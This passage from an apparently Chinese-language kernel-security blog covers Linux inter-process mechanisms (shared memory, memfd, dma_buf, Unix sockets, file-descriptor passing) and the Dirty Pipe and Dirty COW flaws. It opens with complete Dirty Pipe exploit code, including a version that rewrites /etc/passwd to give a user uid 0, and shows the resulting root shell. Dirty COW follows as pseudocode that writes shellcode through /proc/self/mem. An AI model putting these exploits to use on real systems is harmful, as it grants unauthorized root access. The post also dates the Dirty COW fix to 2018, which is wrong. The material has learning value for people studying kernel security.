unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
}

int main(int argc, char **argv) {
const char *const path = "flag";


loff_t offset = 1;
const char *const data = "lag{pipeeee}";
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;

if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}

const int fd = open(path, O_RDONLY);
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}

struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}else{
printf("st.st_size:0x%lx\n",st.st_size);
}

if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}

if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}

int p[2];
prepare_pipe(p);

--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}

nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}

return EXIT_SUCCESS;
}
  • 结果如下:
1
2
3
4
5
6
/ $ cat flag
flag{yhellow}
/ $ ./exp
st.st_size:0xe
/ $ cat flag
flag{pipeeee}

2.修改 /etc/passwd 中用户的 uid 和组 id 来实现提权:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
}

int main(int argc, char **argv) {
const char *const path = "/etc/passwd";

loff_t offset = 30;
const char *const data = "test:x:0:0:,,,,,,,,,,,,,,,:/root:/bin/sh";
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;

if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}

const int fd = open(path, O_RDONLY);
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}

struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}else{
printf("st.st_size:0x%lx\n",st.st_size);
}

if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}

if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}

int p[2];
prepare_pipe(p);

--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}

nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}

return EXIT_SUCCESS;
}
  • 因为 su 命令需要 root 权限,所以在 root 用户中进行测试
  • 结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
/ # cat /etc/passwd 
root:x:0:0:root:/root:/bin/sh
test:x:1000:1000:note:/home/test:/bin/sh
/ # ./exp
st.st_size:0x47
/ # cat /etc/passwd
root:x:0:0:root:/root:/bin/sh
test:x:0:0:,,,,,,,,,,,,,,,:/root:/bin/sh
/ # su test
/ # whoami
root
/ # id
uid=0(root) gid=0 groups=0
  • 切换到 test 用户以后,还是显示 root 权限

参考:

SYStemV 共享内存

传统的 SYStemV 共享内存是指 shm 那一伙 API:

1
2
3
4
int shmget(key_t key, size_t size, int shmflg); /* 获取一个新的共享内存段 */
void *shmat(int shmid, const void *shmaddr, int shmflg); /* 进行内存映射 */
int shmdt(const void *shmaddr); /* 删除内存映射 */
int shmctl(int shmid, int cmd, struct shmid_ds *buf); /* 对共享内存段进行操作 */

在早期版本的内核中,“共享内存”,“信号量”,“消息队列” 都使用通用的 ipcget 函数完成创建,只是 ipc_ops 结构体的初始化不同

其实 do_shmat 底层申请内存的部分和 mmap 一样,都是调用 do_mmap_pgoff,效果就是映射一片由 VMA 组织起来的共享内存段

之后的 shmget 通过相同的 key,就可以获取同一片共享内存区域

POSIX 共享内存

传统的 SYStemV shm 共享内存有个升级版的 POSIX API:

1
2
3
static void shm_open(struct vm_area_struct *vma); /* 在/dev/shm/下建立一个文件,作为该进程的共享内存 */
static void shm_close(struct vm_area_struct *vma); /* 释放目标共享内存 */
static void shm_destroy(struct ipc_namespace *ns, struct shmid_kernel *shp); /* 销毁/dev/shm/中对应的文件 */
  • /dev/shm/ 是一个使用就是 tmpfs 文件系统的设备,可以理解为只存在于内存上的文件

还有个更经典的 POSIX API 就是 mmap:

1
void *mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset);
  • mmap 需要和磁盘进行交互(非匿名映射),导致效率没有 shm 好,但它能够存储的空间更大

memfd_create 共享内存

函数 memfd_create 可以创建一个“虚拟文件”,它映射到一片物理内存而不是磁盘

1
int memfd_create(const char *name, unsigned int flags);
  • 创建基于 tmpfs 的匿名文件(返回文件描述符)

函数 memfd_create 本身并没有共享内存的能力,但是通过之前的 FD 转移技术可以实现共享内存(把 memfd_create 生成的 FD 转移到其他进程中,就实现共享内存了)

使用案例如下:

  • 发送共享内存句柄:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <fcntl.h>
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <linux/memfd.h>
#include <sys/syscall.h>

#define handle_error(msg) do { perror(msg); exit(EXIT_FAILURE); } while(0)

static void send_fd(int socket, int *fd, int n)
{
struct msghdr msg = {0};
struct cmsghdr *cmsg;
char buf[CMSG_SPACE(n * sizeof(int))], dup[256];
memset(buf, '\0', sizeof(buf));
struct iovec io = { .iov_base = &dup, .iov_len = sizeof(dup) };

msg.msg_iov = &io;
msg.msg_iovlen = 1;
msg.msg_control = buf;
msg.msg_controllen = sizeof(buf);

cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(n * sizeof(int));

memcpy ((int *) CMSG_DATA(cmsg), fd, n * sizeof (int));

if (sendmsg (socket, &msg, 0) < 0)
handle_error ("Failed to send message");
}

int main(int argc, char *argv[]) {
int sfd, fd;
struct sockaddr_un addr;
char *buffer;

srand((unsigned int)time(NULL));

sfd = socket(AF_UNIX, SOCK_STREAM, 0);
if (sfd == -1)
handle_error ("Failed to create socket");

memset(&addr, 0, sizeof(struct sockaddr_un));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, "/tmp/fd-pass.socket", sizeof(addr.sun_path) - 1);

fd = syscall(__NR_memfd_create,"shm",MFD_CLOEXEC);
ftruncate(fd,0x1000);

if (fd < 0)
handle_error ("Failed to open file 1 for reading");
else
fprintf (stdout, "Opened fd %d in parent\n", fd);

if (connect(sfd, (struct sockaddr *) &addr, sizeof(struct sockaddr_un)) == -1)
handle_error ("Failed to connect to socket");

send_fd (sfd, &fd, 1);

buffer = (char *)mmap(NULL,0x30,PROT_WRITE|PROT_READ,MAP_SHARED,fd,0);
if(buffer == NULL){
perror("[mmap error]");
return -1;
}
while(1){
int t=(int)(rand()%1000)/100;
sprintf(buffer,"yhellow: %d",t);
sleep(2);
}

exit(EXIT_SUCCESS);
}
  • 接收共享内存句柄:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <fcntl.h>
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#define handle_error(msg) do { perror(msg); exit(EXIT_FAILURE); } while(0)

static int * recv_fd(int socket, int n) {
int *fds = malloc (n * sizeof(int));
struct msghdr msg = {0};
struct cmsghdr *cmsg;
char buf[CMSG_SPACE(n * sizeof(int))], dup[256];
memset(buf, '\0', sizeof(buf));
struct iovec io = { .iov_base = &dup, .iov_len = sizeof(dup) };

msg.msg_iov = &io;
msg.msg_iovlen = 1;
msg.msg_control = buf;
msg.msg_controllen = sizeof(buf);

if (recvmsg (socket, &msg, 0) < 0)
handle_error ("Failed to receive message");

cmsg = CMSG_FIRSTHDR(&msg);

memcpy (fds, (int *) CMSG_DATA(cmsg), n * sizeof(int));

return fds;
}

int main(int argc, char *argv[]) {
ssize_t nbytes;
char *buffer;
int sfd, cfd, *fdp;
struct sockaddr_un addr;

sfd = socket(AF_UNIX, SOCK_STREAM, 0);
if (sfd == -1)
handle_error ("Failed to create socket");

if (unlink ("/tmp/fd-pass.socket") == -1 && errno != ENOENT)
handle_error ("Removing socket file failed");

memset(&addr, 0, sizeof(struct sockaddr_un));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, "/tmp/fd-pass.socket", sizeof(addr.sun_path) - 1);

if (bind(sfd, (struct sockaddr *) &addr, sizeof(struct sockaddr_un)) == -1)
handle_error ("Failed to bind to socket");

if (listen(sfd, 5) == -1)
handle_error ("Failed to listen on socket");

cfd = accept(sfd, NULL, NULL);
if (cfd == -1)
handle_error ("Failed to accept incoming connection");

fdp = recv_fd (cfd, 1);
buffer = (char *)mmap(NULL,0x30,PROT_WRITE|PROT_READ,MAP_SHARED,*fdp,0);

while (1){
fprintf (stdout, "Reading from passed fd %d\n", *fdp);
printf("%s\n",buffer);
sleep(3);
}

if (close(cfd) == -1)
handle_error ("Failed to close client socket");

return 0;
}
  • 结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
exp ./send 
Opened fd 4 in parent
exp ./read
Reading from passed fd 5
yhellow: 4
Reading from passed fd 5
yhellow: 0
Reading from passed fd 5
yhellow: 5
Reading from passed fd 5
yhellow: 4
Reading from passed fd 5
yhellow: 3

参考:共享内存技术之memfd_create

dma_buf 共享内存

dma_buf 可以实现 buffer 在多个设备的共享,如果设备驱动想要共享 DMA 缓冲区,可以让一个驱动来导出,一个驱动来使用:

  • 可以把一片底层驱动 A 的 buffer 导出到用户空间成为一个 fd
  • 也可以把 fd 导入到底层驱动 B
  • 如果进行 mmap 得到虚拟地址,CPU 也是可以在用户空间访问到已经获得用户空间虚拟地址的底层 buffer 的

类似于消费者生产者模型,Linux DMA-BUF 就是基于这种方式来实现的

dma_buf 在内核中的结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct dma_buf {
size_t size;
struct file *file;
struct list_head attachments;
const struct dma_buf_ops *ops;
struct mutex lock;
unsigned vmapping_counter;
void *vmap_ptr;
const char *exp_name;
struct module *owner;
struct list_head list_node;
void *priv;
struct reservation_object *resv;

/* poll support */
wait_queue_head_t poll;

struct dma_buf_poll_cb_t {
struct dma_fence_cb cb;
wait_queue_head_t *poll;

__poll_t active;
} cb_excl, cb_shared;
};

当用户 call VIDIOC_EXPBUF 这个 IOCTL 的时候,可以把 dma_buf 转化为 fd:

1
int ioctl(int fd, VIDIOC_EXPBUF, struct v4l2_exportbuffer *argp);

想要把 dma_buf 的导入侧设备驱动,则会用到如下这些API:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* 导出缓冲 */
#define dma_buf_export(priv, ops, size, flags) \
dma_buf_export_named(priv, ops, size, flags, __FILE__)
struct dma_buf *dma_buf_export_named(void *priv, struct dma_buf_ops *ops,
size_t size, int flags,
const char *exp_name);
/* 获取文件描述符 */
int dma_buf_fd(struct dma_buf *dmabuf, int flags);

/* 连接缓冲 */
struct dma_buf *dma_buf_get(int fd);
struct dma_buf_attachment *dma_buf_attach(struct dma_buf *dmabuf,
struct device *dev);

/* 申请访问 */
struct sg_table * dma_buf_map_attachment(struct dma_buf_attachment *,
enum dma_data_direction);
void dma_buf_unmap_attachment(struct dma_buf_attachment *, struct sg_table *);

/* 断开连接 */
void dma_buf_detach(struct dma_buf *dmabuf,
struct dma_buf_attachment *dmabuf_attach);
void dma_buf_put(struct dma_buf *dmabuf);

可以通过如下方式获取文件描述符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int buffer_export(int v4lfd, enum v4l2_buf_type bt, int index, int *dmafd)
{
struct v4l2_exportbuffer expbuf;

memset(&expbuf, 0, sizeof(expbuf));
expbuf.type = bt;
expbuf.index = index;
// int ioctl(int fd, int request, struct v4l2_exportbuffer *argp);
if (ioctl(v4lfd, VIDIOC_EXPBUF, &expbuf) == -1) {
perror("VIDIOC_EXPBUF");
return -1;
}

*dmafd = expbuf.fd;

return 0;
}

Unix Domain Sockets

UDS(Unix Domain Sockets)在 Linux 上表现为一个文件,相比较于普通 socket 监听在端口上,一个进程也可以监听在一个 UDS 文件上,比如 /tmp/xjjdog.sock

由于通过这个文件进行数据传输,并不需要走网卡等物理设备,所以通过 UDS 传输数据,速度是非常快的

UDS 主要用于同一主机上的进程间通信

Socket 网络通信原理

之前已经分析过了 Socket 的网络通信原理与内核对协议栈的处理

大致的流程如下:

  • 驱动通知网卡有一个新的描述符(有一个即将网络包到达网卡)
  • 网卡从 RX ring buffer 中取出描述符,从而获知缓冲区的地址和大小
  • 网卡收到新的数据包
  • 网卡将新数据包直接通过 DMA 写到内核堆中 sk_buffer 结构体里,并使用中断来通知内核
    • RX ring buffer:网络栈接收数据环形缓存区
    • DMA:Direct Memory Access 直接存储器访问,外部设备不通过CPU而直接与系统内存交换数据的接口技术
  • 内核调用 netif_receive_skb 来处理 sk_buffer 中的数据包
  • 对于网络协议,内核会遍历协议容器 ptype_base 中的所有协议 packet_type,匹配成功后调用 packet_type->func 完成相应的处理
  • 最后把处理的结果输出到各个目标进程中

Socket 本地通信原理

Unix Domain Sockets 也使用了差不多的原理,但差别如下:

  • UDS 不需要 IP:Port,而是通过一个文件名来表示
  • 使用 UDS 时,socket 函数的 domain 参数固定为 AF_UNIX
  • UDS 中使用 sockaddr_un 来表示 sockaddr 结构体

剩下的操作就和 socket 接口的那一套东西一样了

Msg 消息队列

之前也分析过了信息队列的底层实现

消息队列,是消息的链接表,存放在内核中,一个消息队列由一个标识符(即ID)来标识

  • 消息队列的标识符 key 键,它的基本类型是 key_t,使用 ftok 函数可以生成一个 key_t
  • 两个无关的进程,可以通过唯一标识符 key 来找到对应的 msg

msgget 会在内核堆空间中创建一个 msg_queue 结构体,用于表示一个消息队列的头

msgsndmsgrcv 都依靠 msg_msg 结构体,用于表示在这个消息队列中的各个消息主体

这两者通过链表相关联:

1
msg_queue -> msg_msg -> msg_msg -> msg_msg ...

但现在我又了解到了信息队列的一个特殊用途:用于传递 Socket 信息

FD 迁移技术

FD 迁移技术可以把一个进程所挂载的连接(socket),转移到另外一个进程之上

主要是通过如下两个系统调用:

1
2
ssize_t recvmsg(int sockfd, struct msghdr *msg, int flags);
ssizt_t sendmsg(int sockfd, struct msghdr *msg, int flags);
  • 这个两个函数都需要传入一个 sockfd,并依赖 msghdr 结构体来传递信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
struct msghdr
{
void *msg_name; /* Address to send to/receive from. */
socklen_t msg_namelen; /* Length of address data. */

struct iovec *msg_iov; /* Vector of data to send/receive into. */
int msg_iovlen; /* Number of elements in the vector. */

void *msg_control; /* Ancillary data (eg BSD filedesc passing). */
socklen_t msg_controllen; /* Ancillary data buffer length. */

int msg_flags; /* Flags in received message. */
};
  • 其中的 msg_control 条目有需要指向 cmsghdr 结构体:
1
2
3
4
5
6
7
8
9
10
11
12
13
struct cmsghdr
{
size_t cmsg_len; /* Length of data in cmsg_data plus length
of cmsghdr structure.
!! The type should be socklen_t but the
definition of the kernel is incompatible
with this. */
int cmsg_level; /* Originating protocol. */
int cmsg_type; /* Protocol specific type. */
#if __glibc_c99_flexarr_available
__extension__ unsigned char __cmsg_data __flexarr; /* Ancillary data. */
#endif
};
  • 成员变量 cmsg_type 有3个类型:
    • SCM_RIGHTS
    • SCM_CREDENTIALS
    • SCM_SECURITY
  • 其中,SCM_RIGHTS 就是我们所需要的,它允许我们从一个进程,发送一个文件句柄到另外一个进程

因此,依靠 sendmsgrecvmsg 两个系统调用就可以实现 FD 句柄的传输

  • 依靠 sendmsg 函数,将 FD 句柄发送到另外一个进程
  • 依靠 recvmsg 函数,接收这部分数据,然后将其还原成 cmsghdr 结构体,然后我们就可以从 cmsg_data 中获取句柄列表
  • 其实 FD 句柄在某个进程里只是一个引用,真正的 FD 句柄是放在内核中的,所谓的迁移,只不过是把一个指针,从一个进程中去掉,再加到另外一个进程中罢了

测试案例如下:

  • 发送 FD 句柄:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/socket.h>

#define handle_error(msg) do { perror(msg); exit(EXIT_FAILURE); } while(0)

static void send_fd(int socket, int *fds, int n) // send fd by socket
{
struct msghdr msg = {0};
struct cmsghdr *cmsg;
char buf[CMSG_SPACE(n * sizeof(int))], dup[256];
memset(buf, '\0', sizeof(buf));
struct iovec io = { .iov_base = &dup, .iov_len = sizeof(dup) };

msg.msg_iov = &io;
msg.msg_iovlen = 1;
msg.msg_control = buf;
msg.msg_controllen = sizeof(buf);

cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(n * sizeof(int));

memcpy ((int *) CMSG_DATA(cmsg), fds, n * sizeof (int));

if (sendmsg (socket, &msg, 0) < 0)
handle_error ("Failed to send message");
}

int main(int argc, char *argv[]) {
int sfd, fds[2];
struct sockaddr_un addr;

if (argc != 3) {
fprintf (stderr, "Usage: %s <file-name1> <file-name2>\n", argv[0]);
exit (1);
}

sfd = socket(AF_UNIX, SOCK_STREAM, 0);
if (sfd == -1)
handle_error ("Failed to create socket");

memset(&addr, 0, sizeof(struct sockaddr_un));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, "/tmp/fd-pass.socket", sizeof(addr.sun_path) - 1);

fds[0] = open(argv[1], O_RDONLY);
if (fds[0] < 0)
handle_error ("Failed to open file 1 for reading");
else
fprintf (stdout, "Opened fd %d in parent\n", fds[0]);

fds[1] = open(argv[2], O_RDONLY);
if (fds[1] < 0)
handle_error ("Failed to open file 2 for reading");
else
fprintf (stdout, "Opened fd %d in parent\n", fds[1]);

if (connect(sfd, (struct sockaddr *) &addr, sizeof(struct sockaddr_un)) == -1)
handle_error ("Failed to connect to socket");

send_fd (sfd, fds, 2);

exit(EXIT_SUCCESS);
}
  • 接收 FD 句柄:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include <fcntl.h>
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/socket.h>

#define handle_error(msg) do { perror(msg); exit(EXIT_FAILURE); } while(0)

static int * recv_fd(int socket, int n) {
int *fds = malloc (n * sizeof(int));
struct msghdr msg = {0};
struct cmsghdr *cmsg;
char buf[CMSG_SPACE(n * sizeof(int))], dup[256];
memset(buf, '\0', sizeof(buf));
struct iovec io = { .iov_base = &dup, .iov_len = sizeof(dup) };

msg.msg_iov = &io;
msg.msg_iovlen = 1;
msg.msg_control = buf;
msg.msg_controllen = sizeof(buf);

if (recvmsg (socket, &msg, 0) < 0)
handle_error ("Failed to receive message");

cmsg = CMSG_FIRSTHDR(&msg);

memcpy (fds, (int *) CMSG_DATA(cmsg), n * sizeof(int));

return fds;
}

int main(int argc, char *argv[]) {
ssize_t nbytes;
char buffer[256];
int sfd, cfd, *fds;
struct sockaddr_un addr;

sfd = socket(AF_UNIX, SOCK_STREAM, 0);
if (sfd == -1)
handle_error ("Failed to create socket");

if (unlink ("/tmp/fd-pass.socket") == -1 && errno != ENOENT)
handle_error ("Removing socket file failed");

memset(&addr, 0, sizeof(struct sockaddr_un));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, "/tmp/fd-pass.socket", sizeof(addr.sun_path) - 1);

if (bind(sfd, (struct sockaddr *) &addr, sizeof(struct sockaddr_un)) == -1)
handle_error ("Failed to bind to socket");

if (listen(sfd, 5) == -1)
handle_error ("Failed to listen on socket");

cfd = accept(sfd, NULL, NULL);
if (cfd == -1)
handle_error ("Failed to accept incoming connection");

fds = recv_fd (cfd, 2);

for (int i=0; i<2; ++i) {
fprintf (stdout, "Reading from passed fd %d\n", fds[i]);
while ((nbytes = read(fds[i], buffer, sizeof(buffer))) > 0)
write(1, buffer, nbytes);
*buffer = '\0';
}

if (close(cfd) == -1)
handle_error ("Failed to close client socket");

return 0;
}
  • 结果:
1
2
3
exp ./send flag flag2
Opened fd 4 in parent
Opened fd 5 in parent
1
2
3
4
5
exp ./read           
Reading from passed fd 5
flag{yhellow}
Reading from passed fd 6
flag{yhellow}
  • send 程序中打开的两个文件 flag flag2 被迁移到了 read 程序中

Dirty Cow 漏洞成因

Dirty COW 漏洞是一种发生在写时复制 Copy-On-Write 的条件竞争漏洞

  • 自2007年9月 linux kernel-2.6.22 被引入,直到2018年 linux kernel 4.8.3, 4.7.9, 4.4.26 之后才被彻底修复

写时复制:

  • 使用 fork 系统调用创建子进程,那么这个子进程通过使页表条目指向相同的物理内存来共享父进程内存
  • 当任何进程试图写入内存时,会引发异常,OS 将为子进程分配新的物理内存,从父进程复制内容,更改每个进程的页表使它指向自己的私有内存副本
  • 其基本原理为:修改父页面为不可写(不管之前是什么权限),当程序尝试往该页中写入数据时,程序就会触发页中断,然后根据标志位来判断页中断原因为 COW,之后就调用对应的函数来分配 COW 页,并建立 COW 页表项

条件竞争:

  • 一个系统或者进程的输出,依赖于不受控制的事件出现顺序,或者出现时机
  • 在多个进程(线程)同时访问和操作相同的数据时,访问的顺序可能与预期有差别,这将造成较为严重的安全问题

COW 执行过程执行三个重要步骤:

  • 制作映射内存的副本
  • 更新页表,使虚拟内存指向新创建的物理地址
  • 写入内存

由于三个步骤不是原子性的,一个线程在执行这三个步骤过程中可能被其他线程中断,从而产生潜在的竞态条件

Dirty Cow 漏洞利用

Dirty Cow 的利用需要两个系统调用:

  • mmap:将一个文件或者其它对象映射到进程的地址空间
  • madvise:建议内核如何使用指定段的内存(当参数设置为 MADV_WILLNEED 时,内核将释放掉这一块内存以节省空间,相应的页表项也会被置空)
1
git clone https://github.com/dirtycow/dirtycow.github.io

伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Main:
fd = open(filename, O_RDONLY)
fstat(fd, &st)
map = mmap(NULL, st.st_size , PROT_READ, MAP_PRIVATE, fd, 0)
start Thread1
start Thread2

Thread1:
f = open("/proc/self/mem", O_RDWR);
while (1):
lseek(f, map, SEEK_SET);
write(f, shellcode, strlen(shellcode));

Thread2:
while (1):
madvise(map, 100, MADV_DONTNEED);
  • 主线程打开目标文件,并且把该文件映射到内存(非匿名映射)
  • Thread1 循环向写入 map 中写入数据
  • Thread2 循环对 map 解除映射

接下来就详细分析一下这个过程:(内核版本为:4.1.4)

用户态 mmap 在内核中对应的函数为 sys_mmap,其核心函数为 do_mmap_pgoff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
unsigned long len, unsigned long prot,
unsigned long flags, unsigned long pgoff,
unsigned long *populate)
{
struct mm_struct *mm = current->mm;
vm_flags_t vm_flags;

*populate = 0;

/*
* Does the application expect PROT_READ to imply PROT_EXEC?
*
* (the exception is when the underlying filesystem is noexec
* mounted, in which case we dont add PROT_EXEC.)
*/
if ((prot & PROT_READ) && (current->personality & READ_IMPLIES_EXEC))
if (!(file && (file->f_path.mnt->mnt_flags & MNT_NOEXEC)))
prot |= PROT_EXEC;

if (!len)
return -EINVAL;

if (!(flags & MAP_FIXED))
addr = round_hint_to_min(addr);

/* Careful about overflows.. */
len = PAGE_ALIGN(len);
if (!len)
return -ENOMEM;

/* offset overflow? */
if ((pgoff + (len >> PAGE_SHIFT)) < pgoff)
return -EOVERFLOW;

/* Too many mappings? */
if (mm->map_count > sysctl_max_map_count)
return -ENOMEM;

/* Obtain the address to map to. we verify (or select) it and ensure
* that it represents a valid section of the address space.
*/
addr = get_unmapped_area(file, addr, len, pgoff, flags); /* 获取一段当前进程未被使用的虚拟地址空间,并返回其起始地址 */
if (addr & ~PAGE_MASK)
return addr;

/* Do simple checking here so the lower-level routines won't have
* to. we assume access permissions have been handled by the open
* of the memory object, so we don't do any here.
*/
vm_flags = calc_vm_prot_bits(prot) | calc_vm_flag_bits(flags) |
mm->def_flags | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC;

if (flags & MAP_LOCKED)
if (!can_do_mlock())
return -EPERM;

if (mlock_future_check(mm, vm_flags, len))
return -EAGAIN;

if (file) {
struct inode *inode = file_inode(file);

switch (flags & MAP_TYPE) {
case MAP_SHARED: /* 共享映射 */
if ((prot&PROT_WRITE) && !(file->f_mode&FMODE_WRITE))
return -EACCES;

/*
* Make sure we don't allow writing to an append-only
* file..
*/
if (IS_APPEND(inode) && (file->f_mode & FMODE_WRITE))
return -EACCES;

/*
* Make sure there are no mandatory locks on the file.
*/
if (locks_verify_locked(file))
return -EAGAIN;

vm_flags |= VM_SHARED | VM_MAYSHARE;
if (!(file->f_mode & FMODE_WRITE))
vm_flags &= ~(VM_MAYWRITE | VM_SHARED);

/* fall through */
case MAP_PRIVATE: /* 私有内存 */
if (!(file->f_mode & FMODE_READ))
return -EACCES;
if (file->f_path.mnt->mnt_flags & MNT_NOEXEC) {
if (vm_flags & VM_EXEC)
return -EPERM;
vm_flags &= ~VM_MAYEXEC;
}

if (!file->f_op->mmap)
return -ENODEV;
if (vm_flags & (VM_GROWSDOWN|VM_GROWSUP))
return -EINVAL;
break;

default:
return -EINVAL;
}
} else {
switch (flags & MAP_TYPE) {
case MAP_SHARED:
if (vm_flags & (VM_GROWSDOWN|VM_GROWSUP))
return -EINVAL;
/*
* Ignore pgoff.
*/
pgoff = 0;
vm_flags |= VM_SHARED | VM_MAYSHARE;
break;
case MAP_PRIVATE:
/*
* Set pgoff according to addr for anon_vma.
*/
pgoff = addr >> PAGE_SHIFT;
break;
default:
return -EINVAL;
}
}

/*
* Set 'VM_NORESERVE' if we should not account for the
* memory use of this mapping.
*/
if (flags & MAP_NORESERVE) {
/* We honor MAP_NORESERVE if allowed to overcommit */
if (sysctl_overcommit_memory != OVERCOMMIT_NEVER)
vm_flags |= VM_NORESERVE;

